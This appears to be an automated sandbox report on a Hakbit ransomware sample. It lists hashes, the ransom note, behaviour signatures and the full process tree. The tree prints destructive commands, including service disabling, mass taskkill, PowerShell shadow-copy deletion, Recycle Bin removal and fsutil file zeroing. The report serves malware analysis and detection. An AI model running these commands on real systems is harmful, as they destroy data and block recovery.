Analysis

  • max time kernel
    98s
  • max time network
    104s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14/05/2025, 05:15

General

  • Target
    69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
  • Size 80KB
  • Sample250514-fx2wpstry2
  • SHA256 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

  • hakbit

Ransom Note
  • To recover your data contact the email below [email protected] Key Identifier: KQHm/vbGrEhV+zqScfIzMeYdNPMx8dy4/GilOneJ/N9rk+mqhprvTRED/32NJ4ecRqAb8o1jFXYMsVFL0bdnrVt6zi/Ry4sem26K36e9AKi4yyCdAgEut34boaQFMcsV5W8YGCuOMQ1nbsRRgjezZJBJC12vXcrzxFcR1F7oN2rawbRDFP5qQjzwA8qHLRXEBa5yWmTedQEhzDqG0hAR88A7HHE+FIdWjg6EtQIyrqW/WPg5Y0hS04SbAQ0tWLY9OHy3mk5ZonXU0kK/DeUe9qKujUo4dxn5U3i+KbfbtRO2L6UxLuZfKe5Ek9Up+I11yDmJo1Gc1LOC+djMAHdlz9CYyckq2ZM2x2qfz84XLFpxE8Mfmv1w6DE9waX7sCvzN8QpOlhCaC3zxNx5IVOw06/xZLudPZp4FDJ+l/Z8BWkzXAJvnYsP4j1eP4zPg1Uytl1WVnGzHhxeYAXegNGmC2CeLdVaQN1q3uH11i/DNyWtvzaeoSBgEd8OdaUd/NSl004BdwMuPy0ZS56YUoVbcMSmR6e+Quv3MjwoeDW1lBFfa1on8g0nAfvSUXmrqoHK/ryaw29hmq3bCZSwG15qxmt1Y59Nv/TTUqOHtWvs8uzinHCcMN/TPEP1i8KJLmhTcIlKKzZvs30KUdBJCOcv9oT4MOtRCIQ4vUN4nl2AN4g= Number of files that were processed is: 428

Signatures

  • Disables service(s) 3 TTPs
  • Hakbit

    Ransomware which encrypts files using AES, first seen in November 2019.

  • Hakbit family
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 47 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
    "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"
    1⤵
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3548
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY start= disabled
      2⤵
      • Launches sc.exe
      PID:3068
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
      2⤵
      • Launches sc.exe
      PID:3108
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SQLWriter start= disabled
      2⤵
      • Launches sc.exe
      PID:3044
    • C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config SstpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5152
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4464
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3432
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2812
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3120
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqbcoreservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5228
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM firefoxconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2140
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM agntsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5312
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1324
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM steam.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5172
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM encsvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4980
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM excel.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1436
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM CNTAoSMgr.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5780
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlwriter.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2176
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tbirdconfig.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4232
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbeng50.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3148
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM thebat64.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5248
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocomm.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4872
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM infopath.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4880
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mbamtray.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4864
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM zoolz.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2376
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" IM thunderbird.exe /F
      2⤵
      • Kills process with taskkill
      PID:4828
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM dbsnmp.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4904
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM xfssvccon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4908
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mspub.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4948
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM Ntrtscan.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5056
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM isqlplussvc.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM onenote.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4928
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM PccNTMon.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5072
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msaccess.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5092
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM outlook.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5104
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM tmlisten.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5112
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM msftesql.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM powerpnt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:2316
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopqos.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4492
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM visio.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3664
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mydesktopservice.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4504
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM winword.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4820
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-nt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM wordpad.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3396
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM mysqld-opt.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5260
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocautoupds.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5376
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM ocssd.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4920
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM oracle.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5268
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlagent.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4944
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlbrowser.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3648
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM sqlservr.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3856
    • C:\Windows\SYSTEM32\taskkill.exe
      "taskkill.exe" /IM synctime.exe /F
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4212
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
      2⤵
        PID:4724
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:2396
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
        2⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:1040
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.7 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:6764
        • C:\Windows\system32\fsutil.exe
          fsutil file setZeroData offset=0 length=524288 “%s”
          3⤵
            PID:6936
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
          2⤵
            PID:460
            • C:\Windows\system32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:6860

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                edbtmp.log

                • Path C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
                • Size 1.3MB
                • SHA256 091bb39e5efac09d4b4d991339cc8d9f619c46ab8446b3604c42aac686f8d67a
                • MD5 SHA1 SHA512 SSDEEP

                windowsdesktop-runtime-7.0.16-win-x64.msi

                • Path C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
                • Size 28.8MB
                • SHA256 76e917408af6a2b5812ff6b75e8c0c861f1a2189c7c4053654432cc99e1ebe80
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
                • Size 804KB
                • SHA256 82f99815c89aaebd3b9cb3abfd9d8b43dfd2c0ee8977b925c97c08a46e49d300
                • MD5 SHA1 SHA512 SSDEEP

                dotnet-runtime-6.0.27-win-x64.msi

                • Path C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
                • Size 25.7MB
                • SHA256 91c584fc6ad8b0abfb4b62cc19022935fcd17a56a4cde9245bf392d96bdf0380
                • MD5 SHA1 SHA512 SSDEEP

                vc_runtimeAdditional_x86.msi.energy[[email protected]]

                • Path C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
                • Size 180KB
                • SHA256 c9037ff6b9fa5c21a4c66944e22ab3000e1174a30308419f01817653df259280
                • MD5 SHA1 SHA512 SSDEEP

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_jgxbcjtr.g0z.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgxbcjtr.g0z.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                HOW_TO_DECYPHER_FILES.txt

                • Path C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                • Size 828B
                • SHA256 f17242c21cb5a2c6acfd4ab53ef65e648cf6be7d77005d24d3bcf207e036414f
                • MD5 SHA1 SHA512

                memory/3548-367-0x00007FFE9BA03000-0x00007FFE9BA05000-memory.dmp

                memory/3548-3-0x00007FFE9BA00000-0x00007FFE9C4C2000-memory.dmp

                memory/3548-0-0x00007FFE9BA03000-0x00007FFE9BA05000-memory.dmp

                memory/3548-406-0x00007FFE9BA00000-0x00007FFE9C4C2000-memory.dmp

                memory/3548-1-0x00000000001E0000-0x00000000001FA000-memory.dmp

                memory/3548-565-0x00007FFE9BA00000-0x00007FFE9C4C2000-memory.dmp

                memory/4212-25-0x000001FF1D7C0000-0x000001FF1D7E2000-memory.dmp